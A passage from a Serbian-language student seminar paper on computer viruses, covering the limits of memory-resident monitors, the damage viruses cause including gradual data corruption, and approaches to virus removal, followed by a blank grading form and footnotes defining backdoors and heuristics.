Недостаци монитора су бројни. Највећи недостатак је немогућност делотворне примене TSR програма који би у себи садржавао податке за препознавање свих познатих вируса. Монитори који откривају сумњиве активности често изазивају бројне лажне узбуне, јер означавају сумњивим и редовне активности као што су форматирање дискета или инсталирање разних програма у меморију.
8 Последице напада вируса

По правилу, сваки програм инфициран вирусом већ је у одређеној мери оштећен и потребно га је довести у исправно стање. Ово се дешава увек, без обзира на то да ли вирус има тзв. Корисни терет и без обзира која му је намера. Данас је све већи тренд израде вируса који при инфекцији једноставно препишу део кода нападнутог програма и на тај начин непоправљиво оштете нападнут објекат. Нпр. линк вируси могу направити хаос на диску, јер доводе до тзв. cross-linked датотека.
Програм зараен вирусом може грешити у раду, вирус који се инсталира у меморију може изазвати грешке у раду других програма који се инсталирају у меморију, или може програмима одузети меморију потребну за рад. Многи писци компјутерских вируса укључују у вирус користан терет, код којих је способан извршити неки задатак као што је нпр. исписивање порука, ометање рада система, брисање одређених података, форматирање диска или корупција података.

Блесаве поруке, немуште љубавне изјаве или усмаљеничке рођенданске честитке – најмањи су додатни проблем. Недеструктивно ометње рада система, блокирање рачунара, успорени рад машине – представљају другу степеницу. Очигледно брисање програма и података или форматирање диска, колико је год незгодно и штетно није највећи ступањ оштећења, како то многи мисле. Ако се редвно проводи темељно архивирање (чување) података, већ након краћег времена рачунар може бити поново оспособљен и спреман за рад. Најгори могући облик штете је корупција података, непрекидно и прогресивно пропадање интегритета или тачности података. Корупција података може бити изазвана намерно или се јавити случајно. Оштећене могу бити базе података, архиве с програмима  и подацима, текстуалне датотеке и сл.  Случајан облик корупције је када вирус решком инфицира текстуалну датотеку. Датотека ће бити оштећена,а вирус у тој датотеци неће се моћи размножавати. Намеран облик корупције је акда вирус прегледа диск у потрази за базама података, те у нађеној насумице измени неки податак. Ако корупција траје дуже време, доћи ће до непоправљивих последица.
Архивирање података није довољна заштита од корупције података, јер ако она не буде откривена тек једном једног пуног циклуса архивирања, подаци ће бити непоправљиво оштећени, будући да ће све архивске копије садржавати оштећене податке. Једина заштита од корупције података је провера њиховог интегритета, при чему није довољно проверавати само споља, већ и унутрашњи интегритет.

9 Чишћење вируса

У антивирусне програме можемо још убројити за чишћење вируса који могу бити израђени за чишћење специфичних или неспецифичних вируса.

У прву групу долазе програме који на темљу познавања одређеног вируса и метода којом инфицира програм, покушавају одстранити вирус и програм довести у исправно стаење. 

Друга група су програми за неспецифично чишћење вируса. Неки су аутори покушали развити програме који би изоловали и спремили на сигурно критичне делове ризичних садржаја (BOOT секторе, head-ере, и трајање извршних датотека и сл.), те након откривене инфекције покушавали ствари довести у ред. Будући да се ова метода заснива на предвиђању могуће штете, њена сигурност је врло неизвесна.


Датум предаје рада: ____________

Датум одбране рада: ____________

Коментар:  

	


                                                                                 Оцена:____________







� Бекдор (� HYPERLINK "http://sr.wikipedia.org/wiki/%D0%95%D0%BD%D0%B3%D0%BB%D0%B5%D1%81%D0%BA%D0%B8_%D1%98%D0%B5%D0%B7%D0%B8%D0%BA" \o "Енглески језик" �енгл.� Backdoor) је програм који је инсталиран од стране � HYPERLINK "http://sr.wikipedia.org/wiki/%D0%A0%D0%B0%D1%87%D1%83%D0%BD%D0%B0%D1%80%D1%81%D0%BA%D0%B8_%D0%B2%D0%B8%D1%80%D1%83%D1%81" \o "Рачунарски вирус" �вируса�, � HYPERLINK "http://sr.wikipedia.org/wiki/%D0%A0%D0%B0%D1%87%D1%83%D0%BD%D0%B0%D1%80%D1%81%D0%BA%D0%B8_%D1%86%D1%80%D0%B2" \o "Рачунарски црв" �црва� или � HYPERLINK "http://sr.wikipedia.org/wiki/%D0%A2%D1%80%D0%BE%D1%98%D0%B0%D0%BD%D1%81%D0%BA%D0%B8_%D0%BA%D0%BE%D1%9A" \o "Тројански коњ" �тројанског коња� (без знања власника) и који трећим особама омогућава несметан и од власника неовлаштен приступ рачунару. Backdoor користи слабости � HYPERLINK "http://sr.wikipedia.org/wiki/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D0%B8_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC" \o "Оперативни систем" �оперативног� или заштитних система (� HYPERLINK "http://sr.wikipedia.org/wiki/%D0%97%D0%B0%D1%88%D1%82%D0%B8%D1%82%D0%BD%D0%B8_%D0%B7%D0%B8%D0%B4" \o "Заштитни зид" �заштитног зида� или � HYPERLINK "http://sr.wikipedia.org/w/index.php?title=%D0%90%D0%BD%D1%82%D0%B8%D0%B2%D0%B8%D1%80%D1%83%D1%81%D0%BD%D0%B8_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC&action=edit&redlink=1" \o "Антивирусни програм (није још написан)" �антивирусног програма�).


�  Хеуристика је тражење досад непознатих вируса, користећи одређена "правила понашања"





� Читањем овог документа било у електронској или штампаној верзији, обавезали сте се на следеће услове: Аутор овог текста, не сноси никакву одговорност од злоупотребе овог документа. Овај документ је писан само у научне сврхе.
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